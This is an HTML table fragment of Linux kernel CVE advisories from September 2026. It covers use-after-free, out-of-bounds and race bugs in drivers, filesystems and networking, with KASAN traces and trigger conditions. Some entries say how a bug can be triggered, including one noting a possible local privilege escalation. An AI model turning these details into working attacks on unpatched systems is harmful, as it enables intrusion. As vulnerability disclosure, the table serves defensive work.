&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virt: acrn: Fix irqfd use-after-free during eventfd shutdown acrn_irqfd_deassign() and the eventfd EPOLLHUP wakeup can race and free the same struct hsm_irqfd: CPU0 CPU1 ---- ---- eventfd_release() wake_up_poll(EPOLLHUP) hsm_irqfd_wakeup() queue_work(&amp;amp;irqfd-&amp;gt;shutdown) acrn_irqfd_deassign() hsm_irqfd_shutdown() list_del_init() eventfd_ctx_remove_wait_queue() eventfd_ctx_put() kfree(irqfd) hsm_irqfd_shutdown_work() container_of(work, ..., shutdown) irqfd-&amp;gt;vm &amp;lt;-- use-after-free The deassign path freed the irqfd while a shutdown work item was already queued by EPOLLHUP (or vice versa), so the work item could resurrect a dangling pointer through container_of(). Switch to the lifetime model used by KVM irqfds: - Deassign/deinit only deactivate the irqfd: remove it from vm-&amp;gt;irqfds under irqfds_lock and queue the cleanup work. - hsm_irqfd_shutdown_work() becomes the sole owner that unhooks the eventfd waitqueue entry, drops the eventfd reference and frees the irqfd. - A new HSM_IRQFD_FLAG_SHUTDOWN bit guarded by test_and_set_bit() ensures the cleanup work is queued at most once, no matter how many of {EPOLLHUP, deassign, deinit} fire concurrently. This is safe to call from the waitqueue callback, which runs with wqh-&amp;gt;lock held and IRQs disabled and therefore cannot take irqfds_lock. - acrn_irqfd_deassign() flushes vm-&amp;gt;irqfd_wq before returning so the eventfd is fully detached on return. acrn_irqfd_deinit() deactivates every irqfd, flushes the workqueue and only then destroys it, so no path can queue_work() onto a torn-down workqueue. - acrn_irqfd_assign() now installs the eventfd waitqueue entry and publishes the irqfd to vm-&amp;gt;irqfds under irqfds_lock, so the irqfd is never visible to deassign/deinit before its waitqueue entry is in place, and any EPOLLHUP that fires in the assign window queues cleanup work that blocks on irqfds_lock until publication is done.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97478&quot; target=&quot;_blank&quot;&gt;CVE-2026-97478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix OOB memory exposure in get_wave_state() The get_wave_state() function for v9 trusts cp_hqd_cntl_stack_size and cp_hqd_cntl_stack_offset values read directly from the MQD, which are written by GPU microcode and fully attacker-controlled on the CRIU-restore path (via AMDKFD_IOC_RESTORE_PROCESS with H3). this leads to an unbounded copy_to_user() that can leak adjacent GTT/kernel memory. If offset &amp;gt; size, integer underflow produces a ~4 GiB read length, if size is set to 1 MiB against a 4 KiB allocation, we leak 1 MiB of adjacent kernel memory (other queues&#039; MQDs, ring buffers, KASLR pointers). Fix by clamping both cp_hqd_cntl_stack_size to the actual allocated buffer size (q-&amp;gt;ctl_stack_size) and cp_hqd_cntl_stack_offset to the clamped size before performing arithmetic and copy_to_user(). This ensures we never read beyond the allocated kernel BO regardless of attacker-supplied MQD field values.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97496&quot; target=&quot;_blank&quot;&gt;CVE-2026-97496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Check bounds for allocate_sdma_queue restore_sdma_id allocate_sdma_queue has an option where the sdma queue id can be specified (used by CRIU). We weren&#039;t bounds-checking that value. Confirm it&#039;s less than the maximum number of queues.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97497&quot; target=&quot;_blank&quot;&gt;CVE-2026-97497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thunderbolt: Set tb-&amp;gt;root_switch to NULL when domain is stopped Similarly what we do with the firmware connection manager. This makes tb_xdp_handle_request() return error to the remote host. However, we need to make sure we keep the uuid alive so that we can reply until the whole domain is released.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97508&quot; target=&quot;_blank&quot;&gt;CVE-2026-97508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Release m2m_ctx after Instance Removed from List Possible use after free if IRQ thread manages to obtain spinlock between m2m_ctx release and wave5_release function removing stream instance from list of active instances. The IRQ thread looks for the m2m_ctx which is freed so null pointer dereference occurs.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97513&quot; target=&quot;_blank&quot;&gt;CVE-2026-97513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: gfs2: move quota_init qc iterator increment Move qc++ from the loop body into the for-loop increment expression in gfs2_quota_init(). This keeps iterator progression explicit and avoids mixing pointer advance with duplicate-slot handling in the loop body.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97520&quot; target=&quot;_blank&quot;&gt;CVE-2026-97520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: close race between scheduler and state change The mptcp scheduler may race with subflow sockets state change: data transmission on the selected socket may fail and a later release could try to use mss_now reset to 0 for a divide operation. Address the issue by explicitly checking for the critical scenario.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97523&quot; target=&quot;_blank&quot;&gt;CVE-2026-97523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: avoid unneeded actions on subflow reset Once in a blue moon, the mptcp receive path can recursively call mptcp_data_ready() via state change under unlucky error conditions, and then try to hold the data lock again. Break the recursion loop explicitly checking for the exceptional condition. Add a new flag instead of using an existing one like &#039;closing&#039;, to exit early in subflow_state_change(), and explicitly flush the RX queue at reset time. This avoids unneeded processing to check for available data -- calling get_mapping_status() and more on a dying subflow -- but also in error reporting and worker scheduling. Note that we must consume the currently peeked skb before invoking mptcp_dss_corruption to avoid consuming it again after the eventual reset has freed it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97524&quot; target=&quot;_blank&quot;&gt;CVE-2026-97524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Skip vport under deletion in report ID acquisition qla24xx_report_id_acquisition() format-1 handling walks ha-&amp;gt;vp_list under vport_slock, takes a vref_count on the matching vport and calls qla_update_host_map() to register its port id. A vport teardown via qla24xx_vport_delete() sets VPORT_DELETE, then qla24xx_disable_vp() removes the vport from the host_map btree and zeroes vha-&amp;gt;d_id (RESET_AL_PA). The vport is only unlinked from vp_list later, in qla24xx_deallocate_vp_id(), which clears vp_map[idx] (RESET_VP_IDX) but does not touch host_map. In the window in between, report ID acquisition can still find the vport on vp_list and call qla_update_host_map(); with d_id already zeroed it takes the btree_insert32() path and re-inserts the dying vport into host_map. Nothing cleans that entry afterwards, so once scsi_host_put() frees the vha a later host_map lookup dereferences freed memory. Skip a vport that has VPORT_DELETE set before taking the reference, so it is neither re-registered nor scheduled for DPC re-registration. This mirrors the existing guard in qla2x00_alert_all_vps().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97531&quot; target=&quot;_blank&quot;&gt;CVE-2026-97531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix use-after-free of qpair work on queue teardown The response queue MSI-X handler qla2xxx_msix_rsp_q() schedules qla_do_work() via queue_work(ha-&amp;gt;wq, &amp;amp;qpair-&amp;gt;q_work). qla_do_work() dereferences the qpair (vha, rsp) and takes qpair-&amp;gt;qp_lock. During teardown, qla2xxx_delete_qpair() deletes the response queue, which calls free_irq() in qla25xx_free_rsp_que(), and then frees the queue and the qpair. free_irq() waits for running hardirq handlers but does not cancel work already placed on ha-&amp;gt;wq. A still-pending q_work then runs qla_do_work() against the freed qpair and response queue, causing a use-after-free. This is especially likely during full adapter teardown, where destroy_workqueue(ha-&amp;gt;wq) forces pending work to run after the queue pairs have been freed. Flush the work item with cancel_work_sync() in qla25xx_free_rsp_que() after free_irq() has released the interrupt (so no new work can be queued) and before the response queue and qpair memory are freed (so the flushed handler still sees valid memory). Guard on rsp-&amp;gt;qpair and ha-&amp;gt;wq to match the INIT_WORK() condition and avoid operating on an uninitialized work_struct.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97536&quot; target=&quot;_blank&quot;&gt;CVE-2026-97536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: fix the rtrmap and rtrefcount _maxlevels_ondisk functions The _maxlevels_ondisk functions are used to compute the size of in-memory btree cursors for each btree type. Unfortunately, LOLLM noticed that the rtrmap and rtrefcount versions of these functions forget to account for the inode root, which means that we could access beyond the end of the cursor given a sufficiently large btree. Fix this.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97548&quot; target=&quot;_blank&quot;&gt;CVE-2026-97548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: avoid leaking refcount in cifs_queue_oplock_break() cifs_queue_oplock_break() unconditionally takes a reference on the target file before queueing cifs_oplock_break(). Only that work item decreases the reference counter again. If another oplock break arrives while that work is still queued, queue_work() will return false and not queue this second work item. As a result, we will never reach the point to drop the file reference again and are leaking this reference. This can be triggered when interacting with a slow-responding server. As a result, later unmount operations for this file system will fail with BUG: Dentry ... still in use (1) [unmount of cifs cifs] VFS: Busy inodes after unmount of cifs (cifs) kernel BUG at fs/super.c:777! Fix this by only incrementing the reference count if the work has been queued successfully. Taking it after queue_work() is safe because all three callers hold tcon-&amp;gt;open_file_lock across the call and _cifsFileInfo_put() decrements under that same lock, so a worker that starts the handler in the window cannot drop the reference before it has been taken.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97557&quot; target=&quot;_blank&quot;&gt;CVE-2026-97557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: pin DFS superblock in iterator callback tcon_super_cb() stores a raw superblock pointer, but __cifs_get_super() takes its active reference only after iterate_supers_type() has dropped s_umount and its passive reference. Concurrent DFS automount expiry can therefore free the superblock before cifs_sb_active() uses it. A deterministic KASAN test reproduces the race as: BUG: KASAN: slab-use-after-free in cifs_sb_active+0x77/0x80 The same test passes with this change applied. Take the active reference in the callback while iterate_supers_type() still holds s_umount shared. cifs_put_tcp_super() remains the matching release.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97562&quot; target=&quot;_blank&quot;&gt;CVE-2026-97562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-ctrls: validate AV1 tile counts The stateless AV1 decoders use tile_info.tile_cols and tile_rows as loop bounds and as indices into the mi_*_starts[] and *_in_sbs_minus_1[] arrays, as the divisor for context_update_tile_id, and their product bounds the per-tile descriptor buffers, but std_validate_compound() does not bound these u8 fields. Reject a V4L2_CTRL_TYPE_AV1_FRAME whose tile_cols or tile_rows exceeds V4L2_AV1_MAX_TILE_COLS / _ROWS, or whose product exceeds V4L2_AV1_MAX_TILE_COUNT. A zero tile count is left to the consuming driver so the zero-initialised control that existing userspace submits is still accepted.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97575&quot; target=&quot;_blank&quot;&gt;CVE-2026-97575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-ctrls: validate HEVC tile counts The stateless HEVC decoders read num_tile_columns_minus1 + 1 entries from column_width_minus1[] and num_tile_rows_minus1 + 1 from row_height_minus1[] and use them as tile-loop bounds, but std_validate_compound() does not bound these u8 counts. Reject a V4L2_CTRL_TYPE_HEVC_PPS with tiling enabled whose tile counts exceed the uAPI array capacity, mirroring the existing compound-control range checks.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97576&quot; target=&quot;_blank&quot;&gt;CVE-2026-97576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: verisilicon: rockchip: reject AV1 frames exceeding the tile capacity rockchip_vpu981_av1_dec_set_tile_info() indexes the tile group entry array by tile1 * tile_cols + tile0, reading up to tile_cols * tile_rows entries, lays out one descriptor per tile in the AV1_MAX_TILES tile_info buffer, and programs the real tile_cols / tile_rows into the hardware. The tile group entry control is a dynamic array sized to the number of entries userspace submitted, independent of tile_cols / tile_rows, so a frame that claims more tiles than entries reads past the array. A frame that claims more than AV1_MAX_TILES tiles also leaves the hardware programmed for more tiles than the descriptor buffer holds. Reject both in prepare_run(): tile_cols * tile_rows must not exceed the submitted entry count or AV1_MAX_TILES. The entry count is read via v4l2_ctrl_find() (ctrl-&amp;gt;elems). This mirrors the bound the mediatek AV1 decoder already enforces.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97577&quot; target=&quot;_blank&quot;&gt;CVE-2026-97577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: verisilicon: rockchip: guard VPU981 AV1 divisor and tile buffer rockchip_vpu981_av1_dec_set_tile_info() divides context_update_tile_id by tile_info-&amp;gt;tile_cols and writes one descriptor per tile into the tile_info DMA buffer, which holds AV1_MAX_TILES entries; tile_cols and tile_rows come from the bitstream. Guard the division against a zero tile_cols by initialising the context-update values to zero and computing them only when tile_cols is non-zero, and stop the descriptor writes once the tile_info buffer is full. The tile geometry written to the hardware registers is left unmodified; the per-dimension and total tile bounds are enforced by the control validation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97578&quot; target=&quot;_blank&quot;&gt;CVE-2026-97578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: bound AV1 tile-start copy to the array capacity vdec_av1_slice_setup_tile() copies tile_cols + 1 / tile_rows + 1 entries into mi_col_starts[] / mi_row_starts[] from the bitstream tile_info. Bound the copy to the array capacity.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97579&quot; target=&quot;_blank&quot;&gt;CVE-2026-97579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: rkvdec: bound HEVC tile loops and PPS id to the array capacity compute_tiles_uniform() and compute_tiles_non_uniform() loop over num_tile_columns_minus1 + 1 / num_tile_rows_minus1 + 1 entries, and assemble_hw_pps() writes one COLUMN_WIDTH / ROW_HEIGHT register per tile and indexes priv_tbl-&amp;gt;param_set[] by pic_parameter_set_id, all taken from the untrusted PPS. Use the bounded v4l2_hevc_pps_num_tile_columns() / v4l2_hevc_pps_num_tile_rows() helpers for the tile loops, and bail out of assemble_hw_pps() before indexing priv_tbl-&amp;gt;param_set[] with an out-of-range pic_parameter_set_id, so the writes stay within the hardware tables.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97580&quot; target=&quot;_blank&quot;&gt;CVE-2026-97580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: afs: Clear stale peer app data after address list changes afs_fs_probe_fileserver() fetches the current endpoint state under server-&amp;gt;fs_lock, but leaves old_alist as NULL. Consequently, afs_set_peer_appdata() treats every address list replacement as initial setup and only binds the new peers; it never unbinds peers removed from the old list. An address refresh can therefore proceed as follows. CPU 0 replaces server S&#039;s list and drops Pold without clearing Pold-&amp;gt;app_data. The server destroyer then clears only S&#039;s current peers and lets S reach its RCU callback. After the callback frees S, CPU 1 handles a callback through an RxRPC connection that still pins Pold, reads Pold-&amp;gt;app_data, and calls afs_use_server() on the freed object. KASAN reported: BUG: KASAN: slab-use-after-free in afs_find_server+0x3c/0xa0 Read of size 4 at addr ffff8881013e1af0 by task krxrpcio/7001/74 Call Trace: afs_find_server+0x3c/0xa0 afs_rx_new_call+0x15c/0x390 rxrpc_new_incoming_call+0x97c/0x1730 rxrpc_input_packet.constprop.0+0xd03/0xec0 rxrpc_io_thread+0x967/0x1640 Allocated by task 93: afs_lookup_server+0x1a7/0x14c0 afs_alloc_server_list+0x43f/0xb60 afs_create_volume+0x923/0x1490 afs_get_tree+0x1c6/0x10a0 Freed by task 0: kfree+0x131/0x3c0 rcu_core+0x50a/0x1850 Last potentially related work creation: __call_rcu_common.constprop.0+0x71/0xa10 afs_put_server+0x213/0x2b0 Preserve old-&amp;gt;addresses for the peer app-data update so that removed peers are cleared before the endpoint state is replaced. Also advance both cursors when the old and new lists share a peer; activating the old/new comparison without this would otherwise loop forever on the shared entry.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97583&quot; target=&quot;_blank&quot;&gt;CVE-2026-97583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: afs: Fix incorrect free in candidate cleanup in afs_lookup_server() Fix afs_lookup_server() to not free an existing server&#039;s endpoint state when cleaning up a candidate server. The candidate record doesn&#039;t have an endpoint state yet at this point, so the free for that can just be removed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97584&quot; target=&quot;_blank&quot;&gt;CVE-2026-97584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/crypto: Fix wrong return code to engine in asynch callbacks When crypto_finalize_hash_request() or crypto_finalize_skcipher_request() explicitly completes a request, the do_one_request callback must return 0 to indicate successful handling. Returning a negative error code causes the crypto engine to assume the driver failed to take ownership and triggers a second completion via crypto_request_complete(), resulting in a double completion. This pattern occurs in paes_s390.c 4 times and once in phmac_s390.c. Fixed in phmac_do_one_request() and all four paes do_one_request callbacks (ecb, cbc, ctr, xts) by returning 0 after explicit finalization instead of propagating the error code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97589&quot; target=&quot;_blank&quot;&gt;CVE-2026-97589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: landlock: Fix use-after-free of the source&#039;s parent directory current_check_refer_path() reads old_dentry-&amp;gt;d_parent without holding a reference nor a lock on it, and then dereferences it in collect_domain_accesses() and in the audit record. A reference on a child does not pin its parent: __d_move() reassigns dentry-&amp;gt;d_parent and drops the reference the child held on its former parent. hook_path_rename() is not affected because the rename path calls lock_rename() before the hook, so the source cannot be reparented under it. hook_path_link() has no such protection: filename_linkat() holds a reference on the source dentry but neither locks nor references its parent, so a concurrent rename(2) can reparent the source while security_path_link() runs, and the former parent can then be removed and freed while the hook walks it. A process can trigger this after entering a Landlock domain that handles at least one filesystem access right. The process can then race a linkat(2) loop against rename(2) and rmdir(2): BUG: KASAN: slab-use-after-free in collect_domain_accesses+0x278/0x290 Read of size 4 at addr ffff888160bd53f4 by task llrepro2/549 collect_domain_accesses+0x278/0x290 current_check_refer_path+0x952/0x1120 security_path_link+0x1be/0x320 filename_linkat+0x342/0x6d0 __x64_sys_linkat+0xfa/0x150 Freed by task 562: kmem_cache_free+0x139/0x4c0 i_callback+0x4b/0x80 rcu_core+0x7dc/0x10a0 Take a reference on the dentry selected as the source parent, using dget() for the common-mount-root case and dget_parent() otherwise. Release it after the hierarchy walk and synchronous audit logging. [mic: Clarify the caller, reachability, and reference handling]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97594&quot; target=&quot;_blank&quot;&gt;CVE-2026-97594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mac802154: fix use-after-free of sdata via queued RX frames The RX softirq producer ieee802154_subif_frame() queues received beacon and MAC-command frames onto local-&amp;gt;rx_beacon_list / rx_mac_cmd_list and schedules a process-context worker, storing a raw mac_pkt-&amp;gt;sdata (and skb-&amp;gt;dev == sdata-&amp;gt;dev) with neither a reference nor any locking: - the lists have no lock: the softirq producer list_add_tail()s while the mac_wq worker list_del()s, so sibling interfaces on the same phy corrupt the list; - the workers dereference the interface after it may have been freed. mac802154_rx_mac_cmd_worker() touches mac_pkt-&amp;gt;sdata directly, and mac802154_rx_beacon_worker() -&amp;gt; mac802154_process_beacon() dereferences skb-&amp;gt;dev (== sdata-&amp;gt;dev). Removing an interface frees its sdata (netdev_priv) while a queued frame still points at it, so a later worker run is a use-after-free. Reproduced under KASAN by flooding a victim interface with MAC command frames and removing it (the beacon path is the same class via skb-&amp;gt;dev): BUG: KASAN: slab-use-after-free in mac802154_rx_mac_cmd_worker+0x463/0x630 [mac802154] Read of size 4 at addr ffff888002f9ea18 by task kworker/u8:1/31 Workqueue: phy0-mac-cmds mac802154_rx_mac_cmd_worker [mac802154] Call Trace: mac802154_rx_mac_cmd_worker+0x463/0x630 [mac802154] process_one_work+0x611/0xe80 worker_thread+0x52e/0xdc0 kthread+0x30c/0x630 ret_from_fork+0x2fd/0x3e0 Fix both lists together: - add local-&amp;gt;rx_lock and take it around every list access: the softirq producer (plain spin_lock, softirq context) and the workers and flush (spin_lock_bh, process context); - pin the interface for the lifetime of a queued frame with netdev_hold()/netdev_put(), so the worker can safely dereference sdata / skb-&amp;gt;dev even while the interface is being removed; - dequeue under the lock at the head and loop-drain the whole list in the workers (they previously processed one frame per run and relied on a later enqueue to drain the rest); - drop not-yet-started frames of an interface before it is unregistered, from ieee802154_if_remove() (after the RCU grace period) and from the ieee802154_remove_interfaces() loop -- the latter is the whole-phy teardown path, which does not go through ieee802154_if_remove(). An in-flight worker that already dequeued a frame keeps its own netdev reference; unregister_netdevice() then waits it out in netdev_run_todo(), which runs at rtnl_unlock() (rtnl released) and after the interface has been closed, so it does not pin rtnl. A worker blocked in an association TX only delays that one interface&#039;s unregister (the usual &quot;waiting for %s to become free&quot;), it does not hold rtnl. netdev_hold() is used for this reason instead of a cancel_work_sync() under rtnl, which would block on the worker&#039;s unbounded MLME TX wait via ieee802154_sync_queue(). The mac-command worker additionally skips processing for a stopped interface (ieee802154_sdata_running()), avoiding a needless association response during teardown.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97595&quot; target=&quot;_blank&quot;&gt;CVE-2026-97595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: inet: frags: invalidate queues before flushing them fqdir_pre_exit() flushes the skbs from incomplete queues without changing their completion state. A fragment which found a queue before high_thresh was cleared can then acquire the queue lock and reuse stale reassembly metadata. A queue concurrently killed after fqdir-&amp;gt;dead is set can instead become INET_FRAG_COMPLETE|INET_FRAG_HASH_DEAD while still holding its old skbs; skipping it because it is complete leaves those references behind until asynchronous fqdir teardown. For IPv6, stale metadata can make ip6_frag_reasm() use the old nhoffset with a new skb and access memory out of bounds. The resulting heap corruption can be leveraged for local privilege escalation when unprivileged network namespaces are available. Unflushed fragments can also keep conntrack references alive after the conntrack per-net cleanup point. Kill each incomplete queue, then flush every queue still owned by the dying rhashtable. HASH_DEAD identifies that ownership, while complete queues without it are already owned by another destroy path and must be left alone. Releasing a timer reference removed by inet_frag_kill() is deferred to inet_frag_putn(), after the queue lock is dropped. KASAN report: BUG: KASAN: slab-out-of-bounds in ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2)) Write of size 1 at addr ff110001039c6e00 by task poc/771 Call Trace: ? ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) 